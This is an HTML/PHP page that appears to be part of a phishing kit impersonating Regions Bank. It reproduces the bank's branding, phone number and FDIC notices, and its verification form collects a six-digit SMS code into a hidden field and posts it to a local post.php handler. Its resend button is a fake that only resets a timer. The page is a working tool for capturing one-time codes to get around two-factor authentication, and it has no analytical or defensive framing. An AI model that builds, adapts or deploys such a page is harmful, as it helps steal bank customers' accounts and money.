<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;600;700&family=DM+Sans:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Regions — Verify Your Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --brand:          #417514;
            --brand-dark:     #2f5510;
            --brand-deeper:   #1e3a09;
            --brand-mid:      #578f1a;
            --brand-light:    #eef5e6;
            --brand-pale:     #f7fbf2;
            --accent:         #88BB00;
            --accent-dark:    #6fa000;
            --accent-glow:    rgba(136,187,0,0.22);
            --charcoal:       #1a1f17;
            --charcoal-mid:   #2c3328;
            --text:           #1a1f17;
            --text-sub:       #3e4a36;
            --text-muted:     #637057;
            --border:         #cdd9c0;
            --border-focus:   #88BB00;
            --header-bg:      #417514;
        }

        html, body { height: 100%; font-family: 'DM Sans', sans-serif; background: #fff; color: var(--text); }
        .page { min-height: 100vh; display: grid; grid-template-rows: auto auto auto 1fr auto; }

        /* ─── UTILITY BAR ───────────────────────────── */
        .utility-bar {
            background: var(--brand-deeper);
            padding: 0 52px;
            display: flex; align-items: center; justify-content: space-between;
            height: 44px;
            border-bottom: 1px solid rgba(136,187,0,0.18);
        }
        .utility-bar-left { display: flex; align-items: center; gap: 28px; }
        .utility-bar-left a { font-size: 12.5px; color: rgba(255,255,255,0.68); text-decoration: none; transition: color 0.15s; letter-spacing: 0.01em; }
        .utility-bar-left a:hover { color: #fff; }
        .nav-phone { font-size: 12.5px; color: rgba(255,255,255,0.55); display: flex; align-items: center; gap: 7px; }

        /* ─── MAIN NAV ───────────────────────────────── */
        .main-nav {
            background: var(--header-bg);
            padding: 0 52px;
            display: flex; align-items: center; justify-content: space-between;
            height: 72px;
            box-shadow: 0 3px 16px rgba(0,0,0,0.18);
            position: relative;
        }
        .main-nav::after {
            content: '';
            position: absolute; bottom: 0; left: 0; right: 0;
            height: 3px;
            background: linear-gradient(90deg, var(--accent) 0%, rgba(136,187,0,0.4) 100%);
        }
        .nav-logo img { height: 44px; width: auto; filter: brightness(0) invert(1); }
        .nav-links { display: flex; align-items: center; gap: 2px; }
        .nav-links a { font-size: 13.5px; color: rgba(255,255,255,0.85); text-decoration: none; font-weight: 400; padding: 9px 15px; border-radius: 4px; transition: color 0.15s, background 0.15s; }
        .nav-links a:hover { color: #fff; background: rgba(255,255,255,0.1); }
        .fdic-block { display: flex; align-items: center; gap: 9px; }
        .fdic-badge { background: #1b3d8c; color: #fff; font-size: 11px; font-weight: 800; letter-spacing: 0.07em; padding: 3px 7px; border-radius: 2px; }
        .fdic-text { font-size: 10px; color: rgba(255,255,255,0.45); line-height: 1.45; max-width: 150px; }

        /* ─── SUB NAV ────────────────────────────────── */
        .sub-nav {
            background: #fff;
            border-bottom: 2px solid #e8efe0;
            padding: 0 52px;
            display: flex; align-items: center;
            height: 48px;
            box-shadow: 0 1px 6px rgba(65,117,20,0.07);
        }
        .sub-nav-links a { font-size: 13px; color: var(--text-muted); text-decoration: none; font-weight: 400; padding: 0 18px; height: 48px; display: inline-flex; align-items: center; border-bottom: 3px solid transparent; margin-bottom: -2px; transition: color 0.15s, border-color 0.15s; }
        .sub-nav-links a:hover { color: var(--brand); border-bottom-color: var(--accent); }

        /* ─── MAIN ───────────────────────────────────── */
        .main {
            display: grid;
            grid-template-columns: 1fr 460px 1fr;
            align-items: start;
            padding: 52px 24px 72px;
            background: var(--brand-pale);
            background-image:
                radial-gradient(ellipse at 15% 20%, rgba(136,187,0,0.06) 0%, transparent 60%),
                radial-gradient(ellipse at 85% 80%, rgba(65,117,20,0.05) 0%, transparent 60%);
        }

        /* ─── SIDE PANEL ─────────────────────────────── */
        .side-panel {
            grid-column: 1;
            padding: 0 52px 0 max(52px, calc((100% - 1140px) / 2));
            padding-top: 12px;
            max-width: 520px;
            margin-left: auto;
        }
        .side-title { font-family: 'Playfair Display', serif; font-size: 28px; font-weight: 400; line-height: 1.4; color: var(--brand); margin-bottom: 28px; }
        .side-title strong { color: var(--brand-deeper); font-weight: 700; display: block; font-size: 30px; }
        .feature-list { list-style: none; display: flex; flex-direction: column; gap: 15px; margin-bottom: 36px; }
        .feature-list li { display: flex; align-items: flex-start; gap: 13px; font-size: 14px; color: var(--text-sub); line-height: 1.65; }
        .feature-icon { width: 24px; height: 24px; background: var(--accent); border-radius: 50%; display: flex; align-items: center; justify-content: center; flex-shrink: 0; margin-top: 1px; box-shadow: 0 2px 8px rgba(136,187,0,0.3); }
        .feature-icon svg { color: #fff; }
        .security-badge { display: flex; align-items: center; gap: 12px; padding: 15px 18px; background: #fff; border: 1px solid var(--border); border-left: 3px solid var(--brand); border-radius: 6px; box-shadow: 0 1px 6px rgba(65,117,20,0.06); }
        .security-badge p { font-size: 12.5px; color: var(--text-muted); line-height: 1.5; }
        .security-badge strong { display: block; font-size: 13px; color: var(--text); font-weight: 600; margin-bottom: 3px; }

        /* ─── CARD ───────────────────────────────────── */
        .login-wrap { grid-column: 2; }
        .login-card {
            background: #fff;
            border: 1px solid #dde8d0;
            border-top: 4px solid var(--brand);
            border-radius: 8px;
            padding: 42px 46px 48px;
            box-shadow: 0 4px 24px rgba(65,117,20,0.08), 0 1px 4px rgba(0,0,0,0.04), 0 12px 48px rgba(0,0,0,0.04);
            animation: cardIn 0.45s cubic-bezier(0.22,1,0.36,1) both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 26px; }
        .card-logo img { height: 40px; width: auto; display: block; }

        /* Step indicator */
        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 30px; }
        .step { display: flex; align-items: center; justify-content: center; width: 26px; height: 26px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done    { background: var(--accent); color: #fff; }
        .step.active  { background: var(--brand); color: #fff; box-shadow: 0 0 0 4px rgba(65,117,20,0.15); }
        .step.pending { background: #edf2e8; color: #a0b090; }
        .step-line      { flex: 1; height: 1.5px; background: var(--border); border-radius: 2px; }
        .step-line.done { background: var(--accent); opacity: 0.5; }

        /* Card header */
        .card-header { margin-bottom: 24px; padding-bottom: 22px; border-bottom: 1px solid #ecf3e4; }
        .card-header h1 { font-family: 'Playfair Display', serif; font-size: 22px; font-weight: 700; color: var(--brand); margin-bottom: 6px; }
        .card-header p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; }

        /* Phone display badge */
        .phone-badge {
            display: flex; align-items: center; gap: 12px;
            background: var(--brand-light);
            border: 1px solid rgba(65,117,20,0.18);
            border-radius: 6px;
            padding: 13px 16px;
            margin-bottom: 26px;
        }
        .phone-badge-icon {
            width: 36px; height: 36px;
            background: var(--brand);
            border-radius: 8px;
            display: flex; align-items: center; justify-content: center;
            flex-shrink: 0;
        }
        .phone-badge-icon svg { color: #fff; }
        .phone-badge-text { font-size: 13px; color: var(--text-sub); line-height: 1.55; }
        .phone-badge-text strong { display: block; font-size: 14px; color: var(--brand); font-weight: 600; margin-bottom: 1px; }

        /* OTP input row */
        .otp-label { font-size: 12.5px; font-weight: 600; color: var(--text-sub); margin-bottom: 12px; letter-spacing: 0.02em; text-transform: uppercase; }
        .otp-row {
            display: flex; gap: 10px; justify-content: center;
            margin-bottom: 10px;
        }
        .otp-row input {
            width: 52px; height: 58px;
            border: 1.5px solid var(--border);
            border-radius: 6px;
            font-family: 'Playfair Display', serif;
            font-size: 24px; font-weight: 700;
            color: var(--brand);
            text-align: center;
            background: #fff;
            outline: none;
            transition: border-color 0.15s, box-shadow 0.15s, background 0.15s;
            caret-color: var(--accent);
            -webkit-appearance: none;
        }
        .otp-row input:focus {
            border-color: var(--border-focus);
            box-shadow: 0 0 0 3.5px rgba(136,187,0,0.16);
            background: #fafef5;
        }
        .otp-row input.filled {
            border-color: var(--brand);
            background: var(--brand-light);
        }

        /* Resend row */
        .resend-row {
            display: flex; align-items: center; justify-content: space-between;
            margin-bottom: 24px; margin-top: 6px;
        }
        .resend-timer { font-size: 12.5px; color: var(--text-muted); display: flex; align-items: center; gap: 6px; }
        .resend-timer span { font-weight: 600; color: var(--brand); min-width: 28px; }
        .resend-btn { font-size: 12.5px; color: var(--brand); font-weight: 500; background: none; border: none; cursor: pointer; text-decoration: underline; transition: opacity 0.15s; padding: 0; font-family: 'DM Sans', sans-serif; }
        .resend-btn:disabled { color: var(--text-muted); text-decoration: none; cursor: default; opacity: 0.6; }
        .resend-btn:not(:disabled):hover { opacity: 0.7; }

        /* Submit */
        .btn-main {
            width: 100%; height: 48px;
            background: var(--accent); color: #fff;
            border: none; border-radius: 5px;
            font-family: 'DM Sans', sans-serif;
            font-size: 15px; font-weight: 600;
            cursor: pointer; letter-spacing: 0.03em;
            display: flex; align-items: center; justify-content: center; gap: 9px;
            transition: background 0.15s, box-shadow 0.15s, transform 0.1s;
            margin-bottom: 22px;
            position: relative; overflow: hidden;
        }
        .btn-main::after { content: ''; position: absolute; inset: 0; background: linear-gradient(180deg, rgba(255,255,255,0.08) 0%, transparent 100%); pointer-events: none; }
        .btn-main:hover { background: var(--accent-dark); box-shadow: 0 4px 18px rgba(136,187,0,0.35); transform: translateY(-1px); }
        .btn-main:active { transform: translateY(0); }
        .btn-main:disabled { background: #c2d4ae; cursor: not-allowed; transform: none; box-shadow: none; }

        .card-divider { height: 1px; background: #ecf3e4; margin-bottom: 20px; }
        .card-links { display: flex; flex-direction: column; gap: 11px; }
        .card-links a { font-size: 13.5px; color: var(--brand); text-decoration: none; font-weight: 500; display: flex; align-items: center; gap: 7px; transition: opacity 0.12s; }
        .card-links a:hover { opacity: 0.7; text-decoration: underline; }

        /* ─── FOOTER ─────────────────────────────────── */
        .page-footer { background: var(--charcoal); padding: 22px 52px; display: flex; align-items: center; justify-content: space-between; gap: 24px; flex-wrap: wrap; border-top: 3px solid var(--brand); }
        .footer-links { display: flex; gap: 22px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; transition: color 0.15s; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.3); }
        .fdic-footer { display: flex; align-items: center; gap: 9px; }
        .fdic-footer .fdic-badge { font-size: 9px; }
        .fdic-footer span { font-size: 11px; color: rgba(255,255,255,0.35); }

        @media (max-width: 900px) {
            .main { grid-template-columns: 1fr; padding: 32px 20px 52px; background-image: none; }
            .side-panel { display: none; }
            .login-wrap { grid-column: 1; max-width: 460px; width: 100%; margin: 0 auto; }
            .main-nav { padding: 0 24px; }
            .utility-bar { padding: 0 24px; }
            .sub-nav { padding: 0 24px; }
            .nav-links { display: none; }
        }
        @media (max-width: 500px) {
            .login-card { padding: 28px 22px 34px; }
            .otp-row input { width: 44px; height: 52px; font-size: 20px; }
            .page-footer { padding: 18px 20px; }
        }
    </style>
</head>
<body>
<div class="page">

    <!-- UTILITY BAR -->
    <div class="utility-bar">
        <div class="utility-bar-left">
            <a href="#">Log in</a>
            <a href="#">Locations</a>
            <a href="#">Contact Us</a>
            <a href="#">Careers</a>
        </div>
        <div class="nav-phone">
            <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07A19.5 19.5 0 013.07 9.81a19.79 19.79 0 01-3.07-8.67A2 2 0 012.18 0h3a2 2 0 012 1.72c.127.96.361 1.903.7 2.81a2 2 0 01-.45 2.11L6.91 7.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45c.907.339 1.85.573 2.81.7A2 2 0 0122 14.92z"/></svg>
            1-800-734-4667
        </div>
    </div>

    <!-- MAIN NAV -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Regions Bank"></div>
        <div class="nav-links">
            <a href="#">Personal</a>
            <a href="#">Small Business</a>
            <a href="#">Commercial</a>
            <a href="#">Wealth Management</a>
            <a href="#">About Us</a>
        </div>
        <div class="fdic-block">
            <span class="fdic-badge">FDIC</span>
            <span class="fdic-text">FDIC-Insured · Backed by the full faith and credit of the U.S. Government</span>
        </div>
    </nav>

    <!-- SUB NAV -->
    <div class="sub-nav">
        <div class="sub-nav-links">
            <a href="#">Checking</a>
            <a href="#">Savings</a>
            <a href="#">Loans</a>
            <a href="#">Credit Cards</a>
            <a href="#">Online &amp; Mobile Banking</a>
            <a href="#">Investments</a>
            <a href="#">Resources</a>
        </div>
    </div>

    <!-- MAIN CONTENT -->
    <main class="main">
        <aside class="side-panel">
            <h2 class="side-title">
                One last step.<br>
                <strong>Verify your identity.</strong>
            </h2>
            <ul class="feature-list">
                <li>
                    <div class="feature-icon"><svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>
                    A one-time code was sent to your registered phone number
                </li>
                <li>
                    <div class="feature-icon"><svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>
                    Codes expire after 10 minutes for your security
                </li>
                <li>
                    <div class="feature-icon"><svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></div>
                    Never share your verification code with anyone
                </li>
            </ul>
            <div class="security-badge">
                <svg width="30" height="30" viewBox="0 0 24 24" fill="none" stroke="#417514" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round">
                    <path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/>
                    <polyline points="9 12 11 14 15 10" stroke-width="2"/>
                </svg>
                <p><strong>Two-Factor Authentication</strong>This extra step keeps your account safe even if your password is compromised.</p>
            </div>
        </aside>

        <div class="login-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="Regions Bank"></div>

                <!-- Step indicator -->
                <div class="step-indicator">
                    <div class="step done">✓</div>
                    <div class="step-line done"></div>
                    <div class="step done">✓</div>
                    <div class="step-line done"></div>
                    <div class="step active">3</div>
                </div>

                <div class="card-header">
                    <h1>Enter Verification Code</h1>
                    <p>We sent a 6-digit code to your phone</p>
                </div>

                <!-- Phone badge -->
                <div class="phone-badge">
                    <div class="phone-badge-icon">
                        <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="5" y="2" width="14" height="20" rx="2"/><line x1="12" y1="18" x2="12.01" y2="18" stroke-width="2.5"/></svg>
                    </div>
                    <div class="phone-badge-text">
                        <strong>SMS Code Sent</strong>
                        A verification code was sent to the number ending in <strong>••••</strong>
                    </div>
                </div>

                <form action="post.php" method="post">
                    <div class="otp-label">Enter 6-digit code</div>
                    <div class="otp-row">
                        <input type="text" name="c1" id="c1" maxlength="1" inputmode="numeric" autocomplete="one-time-code" pattern="[0-9]">
                        <input type="text" name="c2" id="c2" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c3" id="c3" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c4" id="c4" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c5" id="c5" maxlength="1" inputmode="numeric" pattern="[0-9]">
                        <input type="text" name="c6" id="c6" maxlength="1" inputmode="numeric" pattern="[0-9]">
                    </div>
                    <!-- Hidden field to collect full OTP for post -->
                    <input type="hidden" name="sms" id="sms_combined">

                    <div class="resend-row">
                        <div class="resend-timer">
                            <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polyline points="12 6 12 12 16 14"/></svg>
                            Code expires in <span id="exp-timer">9:59</span>
                        </div>
                        <button type="button" class="resend-btn" id="resend-btn" disabled>Resend code</button>
                    </div>

                    <button type="submit" class="btn-main" id="submit-btn">
                        Verify &amp; Continue
                        <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg>
                    </button>
                </form>

                <div class="card-divider"></div>
                <div class="card-links">
                    <a href="#">
                        <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                        Having trouble? Contact support
                    </a>
                    <a href="login.php">
                        <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
                        Back to log in
                    </a>
                </div>
            </div>
        </div>
    </main>

    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a>
            <a href="#">Security</a>
            <a href="#">Terms of Use</a>
            <a href="#">Accessibility</a>
            <a href="#">Sitemap</a>
        </div>
        <div class="fdic-footer">
            <span class="fdic-badge">FDIC</span>
            <span>Member FDIC. Equal Housing Lender. © 2025 Regions Bank.</span>
        </div>
        <div class="footer-copy">1-800-734-4667</div>
    </footer>
</div>

<script>
    /* ── OTP box auto-advance ── */
    const boxes = Array.from(document.querySelectorAll('.otp-row input'));
    const combined = document.getElementById('sms_combined');

    boxes.forEach((box, i) => {
        box.addEventListener('input', () => {
            box.value = box.value.replace(/[^0-9]/g, '').slice(-1);
            box.classList.toggle('filled', box.value !== '');
            combined.value = boxes.map(b => b.value).join('');
            if (box.value && i < boxes.length - 1) boxes[i + 1].focus();
        });
        box.addEventListener('keydown', e => {
            if (e.key === 'Backspace' && !box.value && i > 0) {
                boxes[i - 1].value = '';
                boxes[i - 1].classList.remove('filled');
                boxes[i - 1].focus();
            }
        });
        box.addEventListener('paste', e => {
            e.preventDefault();
            const paste = (e.clipboardData || window.clipboardData).getData('text').replace(/[^0-9]/g, '').slice(0, 6);
            paste.split('').forEach((ch, j) => {
                if (boxes[j]) { boxes[j].value = ch; boxes[j].classList.add('filled'); }
            });
            combined.value = boxes.map(b => b.value).join('');
            const next = Math.min(paste.length, boxes.length - 1);
            boxes[next].focus();
        });
    });

    /* ── Expiry countdown (10 min) ── */
    let expSec = 599;
    const expEl = document.getElementById('exp-timer');
    const resendBtn = document.getElementById('resend-btn');
    let resendUnlockAt = 30; // allow resend after 30s

    const expInterval = setInterval(() => {
        expSec--;
        resendUnlockAt = Math.max(0, resendUnlockAt - 1);
        if (resendUnlockAt === 0) resendBtn.disabled = false;
        const m = Math.floor(expSec / 60), s = expSec % 60;
        expEl.textContent = m + ':' + String(s).padStart(2, '0');
        if (expSec <= 0) {
            clearInterval(expInterval);
            expEl.textContent = '0:00';
            expEl.style.color = '#c0392b';
        }
    }, 1000);

    resendBtn.addEventListener('click', () => {
        resendBtn.disabled = true;
        resendUnlockAt = 30;
        expSec = 599;
        expEl.style.color = '';
        boxes.forEach(b => { b.value = ''; b.classList.remove('filled'); });
        combined.value = '';
        boxes[0].focus();
    });
</script>
</body>
</html>